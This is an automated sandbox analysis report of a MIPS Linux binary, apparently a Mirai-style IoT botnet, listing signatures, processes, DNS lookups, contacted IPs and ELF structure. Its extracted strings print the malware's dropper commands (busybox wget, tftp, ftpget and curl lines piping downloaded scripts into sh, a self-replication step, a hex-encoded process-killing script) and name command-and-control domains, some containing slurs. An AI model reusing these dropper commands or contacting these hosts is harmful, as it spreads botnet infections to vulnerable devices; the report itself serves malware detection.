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Linux Analysis Report
mips.elf

Overview

General Information

Sample name:	mips.elf
Analysis ID:	1543118
MD5:	8a49eca8c5a4712d913b165a12942d4b
SHA1:	181f50acff7707ba5173f37549003394f8352258
SHA256:	bac4bd97155927dd2c1262cecbd6db130e8d3740ee1a2eb84533856418e300a2
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543118
Start date and time:	2024-10-27 09:18:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mips.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/91@12/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: mips.elf

Runtime Messages

Command:	/tmp/mips.elf
PID:	5762
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

mips.elf (PID: 5762, Parent: 5684, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/mips.elf

mips.elf New Fork (PID: 5764, Parent: 5762)

mips.elf New Fork (PID: 5766, Parent: 5764)

mips.elf New Fork (PID: 5768, Parent: 5764)

mips.elf New Fork (PID: 5770, Parent: 5764)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: mips.elf

ReversingLabs: Detection: 57%

Source: mips.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]

Source: unknown	TCP traffic detected without corresponding DNS query: 15.12.103.68
Source: unknown	TCP traffic detected without corresponding DNS query: 14.151.137.209
Source: unknown	TCP traffic detected without corresponding DNS query: 90.128.46.157
Source: unknown	TCP traffic detected without corresponding DNS query: 101.17.31.169
Source: unknown	TCP traffic detected without corresponding DNS query: 18.32.250.42
Source: unknown	TCP traffic detected without corresponding DNS query: 199.215.197.27
Source: unknown	TCP traffic detected without corresponding DNS query: 150.134.134.143
Source: unknown	TCP traffic detected without corresponding DNS query: 5.43.52.138
Source: unknown	TCP traffic detected without corresponding DNS query: 102.184.53.13
Source: unknown	TCP traffic detected without corresponding DNS query: 44.142.88.187
Source: unknown	TCP traffic detected without corresponding DNS query: 160.50.181.242
Source: unknown	TCP traffic detected without corresponding DNS query: 218.154.254.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.82.158
Source: unknown	TCP traffic detected without corresponding DNS query: 115.168.236.65
Source: unknown	TCP traffic detected without corresponding DNS query: 118.113.205.94
Source: unknown	TCP traffic detected without corresponding DNS query: 105.23.160.222
Source: unknown	TCP traffic detected without corresponding DNS query: 74.207.219.221
Source: unknown	TCP traffic detected without corresponding DNS query: 35.96.31.65
Source: unknown	TCP traffic detected without corresponding DNS query: 83.151.106.115
Source: unknown	TCP traffic detected without corresponding DNS query: 9.208.201.215
Source: unknown	TCP traffic detected without corresponding DNS query: 150.112.120.19
Source: unknown	TCP traffic detected without corresponding DNS query: 87.224.198.60
Source: unknown	TCP traffic detected without corresponding DNS query: 107.149.102.134
Source: unknown	TCP traffic detected without corresponding DNS query: 199.31.183.216
Source: unknown	TCP traffic detected without corresponding DNS query: 49.130.5.196
Source: unknown	TCP traffic detected without corresponding DNS query: 161.147.31.117
Source: unknown	TCP traffic detected without corresponding DNS query: 32.68.218.14
Source: unknown	TCP traffic detected without corresponding DNS query: 19.159.227.34
Source: unknown	TCP traffic detected without corresponding DNS query: 205.180.179.78
Source: unknown	TCP traffic detected without corresponding DNS query: 168.54.74.195
Source: unknown	TCP traffic detected without corresponding DNS query: 39.35.125.254
Source: unknown	TCP traffic detected without corresponding DNS query: 83.166.35.24
Source: unknown	TCP traffic detected without corresponding DNS query: 15.12.103.68
Source: unknown	TCP traffic detected without corresponding DNS query: 14.151.137.209
Source: unknown	TCP traffic detected without corresponding DNS query: 90.128.46.157
Source: unknown	TCP traffic detected without corresponding DNS query: 101.17.31.169
Source: unknown	TCP traffic detected without corresponding DNS query: 18.32.250.42
Source: unknown	TCP traffic detected without corresponding DNS query: 199.215.197.27
Source: unknown	TCP traffic detected without corresponding DNS query: 150.134.134.143
Source: unknown	TCP traffic detected without corresponding DNS query: 5.43.52.138
Source: unknown	TCP traffic detected without corresponding DNS query: 102.184.53.13
Source: unknown	TCP traffic detected without corresponding DNS query: 160.50.181.242
Source: unknown	TCP traffic detected without corresponding DNS query: 44.142.88.187
Source: unknown	TCP traffic detected without corresponding DNS query: 218.154.254.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.82.158
Source: unknown	TCP traffic detected without corresponding DNS query: 115.168.236.65
Source: unknown	TCP traffic detected without corresponding DNS query: 118.113.205.94
Source: unknown	TCP traffic detected without corresponding DNS query: 105.23.160.222
Source: unknown	TCP traffic detected without corresponding DNS query: 74.207.219.221
Source: unknown	TCP traffic detected without corresponding DNS query: 35.96.31.65

Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre. [malformed]

Source: mips.elf	String found in binary or memory: http:///curl.sh
Source: mips.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5790/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5790/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5791/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5791/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5792/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5792/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5793/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5793/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5793/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5793/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5794/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5794/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5794/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5794/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5784/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5784/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5795/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5795/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5795/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5795/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5774/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5774/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5785/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5785/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5796/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5796/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5796/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5796/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5775/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5775/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5786/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5786/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5797/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5797/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5797/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5797/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5852/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5852/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5787/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5787/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5798/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5798/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5798/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5798/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5788/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5788/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5799/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5799/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5799/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5799/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5789/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5789/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5800/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5800/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5800/maps	Jump to behavior
Source: /tmp/mips.elf (PID: 5768)	File opened: /proc/5800/cmdline	Jump to behavior

Source: mips.elf, 5762.1.0000561c75e34000.0000561c75ebb000.rw-.sdmp, mips.elf, 5766.1.0000561c75e34000.0000561c75ebb000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/mips
Source: mips.elf, 5762.1.0000561c75e34000.0000561c75ebb000.rw-.sdmp, mips.elf, 5766.1.0000561c75e34000.0000561c75ebb000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.elf, 5762.1.00007ffce9783000.00007ffce97a4000.rw-.sdmp, mips.elf, 5766.1.00007ffce9783000.00007ffce97a4000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: mips.elf, 5762.1.00007ffce9783000.00007ffce97a4000.rw-.sdmp, mips.elf, 5766.1.00007ffce9783000.00007ffce97a4000.rw-.sdmp	Binary or memory string: "x86_64/usr/bin/qemu-mips/tmp/mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
burnthe.libre	45.156.86.24	true	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown
burnthe.libre. [malformed]	unknown	unknown	true	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	mips.elf	false		unknown
http:///curl.sh	mips.elf	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
3.181.38.39	unknown	United States	16509	AMAZON-02US	false
76.61.24.243	unknown	United States	11955	TWC-11955-ATLANTAUS	false
139.231.62.250	unknown	United States	1464	DNIC-ASBLK-01464-01465US	false
201.113.50.118	unknown	Mexico	8151	UninetSAdeCVMX	false
183.244.153.157	unknown	China	56048	CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN	false
189.158.113.21	unknown	Mexico	8151	UninetSAdeCVMX	false
142.60.203.151	unknown	Canada	54605	EIPS-14CA	false
153.197.151.244	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
208.74.51.158	unknown	United States	11734	CONNECTRIA-ASN-1US	false
68.229.155.150	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
162.234.71.15	unknown	United States	7018	ATT-INTERNET4US	false
154.203.134.252	unknown	Seychelles	139646	HKMTC-AS-APHONGKONGMegalayerTechnologyCoLimitedHK	false
23.254.241.60	unknown	United States	54290	HOSTWINDSUS	false
125.15.181.102	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
221.145.103.247	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
97.21.249.146	unknown	United States	22394	CELLCOUS	false
153.109.234.55	unknown	Switzerland	559	SWITCHPeeringrequestspeeringswitchchEU	false
138.157.218.111	unknown	United States	1540	DNIC-ASBLK-01534-01546US	false
2.4.122.4	unknown	France	3215	FranceTelecom-OrangeFR	false
180.236.177.234	unknown	Korea Republic of	9658	ETPI-IDS-AS-APEasternTelecomsPhilsIncPH	false
186.147.43.105	unknown	Colombia	10620	TelmexColombiaSACO	false
170.186.21.176	unknown	United States	11273	FDCSGNETUS	false
94.192.32.188	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
83.155.104.19	unknown	France	12322	PROXADFR	false
119.148.246.212	unknown	Japan	9374	EDIONEDIONCorporationJP	false
39.106.110.69	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
95.61.51.4	unknown	Spain	12430	VODAFONE_ESES	false
36.28.90.149	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
147.27.213.35	unknown	Greece	8278	TUC-ASGR	false
214.156.190.43	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
163.41.4.70	unknown	United States	3701	NERONETUS	false
131.120.255.44	unknown	United States	668	DNIC-AS-00668US	false
203.10.36.13	unknown	Australia	136931	CSL-AS-APCSLLimitedAU	false
11.122.135.4	unknown	United States	27651	ENTELCHILESACL	false
89.235.255.158	unknown	Estonia	8728	InfonetEE	false
144.208.130.212	unknown	Austria	44453	INTERNEX-ASAT	false
4.199.89.74	unknown	United States	3356	LEVEL3US	false
150.211.255.1	unknown	United States	31822	CITY-UNIVERSITY-OF-NEW-YORKUS	false
56.43.76.15	unknown	United States	2686	ATGS-MMD-ASUS	false
33.22.152.114	unknown	United States	2686	ATGS-MMD-ASUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
153.109.234.55	1B7E3FLOXC.elf	Get hash	malicious	Unknown	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	AAu5Ime1dV.elf	Get hash	malicious	Mirai	Browse
2.4.122.4	aqua.x86	Get hash	malicious	Gafgyt, Mirai	Browse
201.113.50.118	ydPcyC16rW	Get hash	malicious	Mirai	Browse
94.192.32.188	s2w2tmw8l0	Get hash	malicious	Mirai	Browse
94.192.32.188	sora.arm7	Get hash	malicious	Mirai	Browse
39.106.110.69	sora.arm.elf	Get hash	malicious	Mirai	Browse
221.145.103.247	Kaisen.arm.elf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	sh4.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	arm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
yellowchink.pirate	splppc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jklx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jklppc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DNIC-ASBLK-01464-01465US	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	6.51.220.101
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	6.62.227.250
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	6.59.234.31
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	6.55.252.178
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	6.58.255.89
	yakuza.arm5.elf	Get hash	malicious	Unknown	Browse	6.77.69.80
	arm6.elf	Get hash	malicious	Unknown	Browse	6.62.187.188
	x86_64.elf	Get hash	malicious	Mirai	Browse	6.60.136.164
	na.elf	Get hash	malicious	Mirai	Browse	6.60.136.137
	0aEXGHNxhO.elf	Get hash	malicious	Mirai, Okiru	Browse	6.75.205.208
TWC-11955-ATLANTAUS	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	67.48.99.168
	nCEnoU35Wv.elf	Get hash	malicious	Okiru	Browse	69.81.123.166
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	76.62.64.68
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	76.63.5.158
	armv6l.elf	Get hash	malicious	Unknown	Browse	76.45.67.209
	sparc.elf	Get hash	malicious	Mirai	Browse	76.45.67.215
	arm.nn-20241014-0317.elf	Get hash	malicious	Mirai, Okiru	Browse	76.45.126.210
	SecuriteInfo.com.Linux.Siggen.9999.19003.7982.elf	Get hash	malicious	Mirai	Browse	76.45.113.180
	firmware.mipsel.elf	Get hash	malicious	Unknown	Browse	76.60.216.145
	ExeFile (260).exe	Get hash	malicious	Emotet	Browse	24.94.237.248
AMAZON-02US	sh4.elf	Get hash	malicious	Unknown	Browse	3.71.118.107
	jklarm5.elf	Get hash	malicious	Unknown	Browse	44.237.172.169
	arm7.elf	Get hash	malicious	Unknown	Browse	52.46.175.63
	nabsh4.elf	Get hash	malicious	Unknown	Browse	54.207.92.6
	nklarm6.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	splmips.elf	Get hash	malicious	Unknown	Browse	108.143.220.205
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	52.37.133.172
	splx86.elf	Get hash	malicious	Unknown	Browse	3.165.95.64
	jklarm.elf	Get hash	malicious	Unknown	Browse	3.196.103.197
	nklmips.elf	Get hash	malicious	Unknown	Browse	35.73.110.231

Process:	/tmp/mips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.172745459086889
Encrypted:	false
SSDEEP:	6:URYNDF8L0Y/VUS/FYDFDCY/VpHHT/VDM/V+4D/VH:IYt9S/FQRbHHRMfF
MD5:	E26B9F0FF2CCFA2A0887D91B7CC8F90A
SHA1:	C619738FC7F95AB003FBF44DFDAD53126373A98E
SHA-256:	95C63CB5461B88356693EB66D2AAF9F6A2027ADEAD1B864B50FE3E36ABB566DD
SHA-512:	2DD39A8278A566A9E5C82E2185D82B53CB68E62C0AED958314128BF060300755B93267C71D37B6CC1E86908D1A6903420D8DB86DA6325C9A81B3A17B6665465B
Malicious:	false
Reputation:	low
Preview:	400000-414000 r-xp 00000000 fd:00 531606 /tmp/..453000-454000 rw-p 00013000 fd:00 531606 /tmp/..454000-456000 rw-p 00000000 00:00 0 .456000-457000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.5246212145382785
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mips.elf
File size:	80'528 bytes
MD5:	8a49eca8c5a4712d913b165a12942d4b
SHA1:	181f50acff7707ba5173f37549003394f8352258
SHA256:	bac4bd97155927dd2c1262cecbd6db130e8d3740ee1a2eb84533856418e300a2
SHA512:	a6bc6566180cd137379b7a3bbaf1e1970e0baff4c03d9c2a47e20bb03e5800195638c1b3fce0a3f07d8f8888411acd5f006e06c9b9cc5de56a42e04c7b313552
SSDEEP:	1536:rdB7mcIhE8NgqHruNr8LmP2x6u5O78b711b7LW+D8Pyg9y/XnI8sRh:PKvhvW7P2x6uvtg9qXnIH
TLSH:	2073C81F2A669FADFB6D833587B79B20978873922BD0C581D16CE9015E6030E641FF98
File Content Preview:	.ELF.....................@.`...4..88.....4. ...(.............@...@....1p..1p..............1t.E1t.E1t...X...4........dt.Q............................<...'..\...!'.......................<...'..8...!... ....'9... ......................<...'......!........'9

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	79928
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x11fd0	0x0	0x6	AX	16
.fini	PROGBITS	0x4120f0	0x120f0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x412150	0x12150	0x1020	0x0	0x2	A	16
.ctors	PROGBITS	0x453174	0x13174	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45317c	0x1317c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x453184	0x13184	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x453188	0x13188	0xe0	0x0	0x3	WA	4
.data	PROGBITS	0x453270	0x13270	0x190	0x0	0x3	WA	16
.got	PROGBITS	0x453400	0x13400	0x3cc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x4537cc	0x137cc	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x4537f0	0x137cc	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0x137cc	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x137cc	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13170	0x13170	5.5479	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13174	0x453174	0x453174	0x658	0x1834	3.7320	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 09:19:44.739080906 CET	192.168.2.15	152.53.15.127	0xd438	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:19:56.273818016 CET	192.168.2.15	152.53.15.127	0x1d30	Standard query (0)	netfags.geek. [malformed]	256	428	false
Oct 27, 2024 09:20:08.124202967 CET	192.168.2.15	152.53.15.127	0x1518	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:20:20.751240015 CET	192.168.2.15	202.61.197.122	0xd778	Standard query (0)	netfags.geek. [malformed]	256	452	false
Oct 27, 2024 09:20:32.603683949 CET	192.168.2.15	152.53.15.127	0x72ce	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:20:44.464452982 CET	192.168.2.15	202.61.197.122	0x7cb8	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:20:46.896827936 CET	192.168.2.15	194.36.144.87	0x784b	Standard query (0)	burnthe.libre. [malformed]	256	478	false
Oct 27, 2024 09:20:58.745131016 CET	192.168.2.15	202.61.197.122	0x8ffc	Standard query (0)	netfags.geek. [malformed]	256	490	false
Oct 27, 2024 09:21:10.241331100 CET	192.168.2.15	202.61.197.122	0x3c69	Standard query (0)	netfags.geek. [malformed]	256	502	false
Oct 27, 2024 09:21:22.093296051 CET	192.168.2.15	194.36.144.87	0x38c4	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
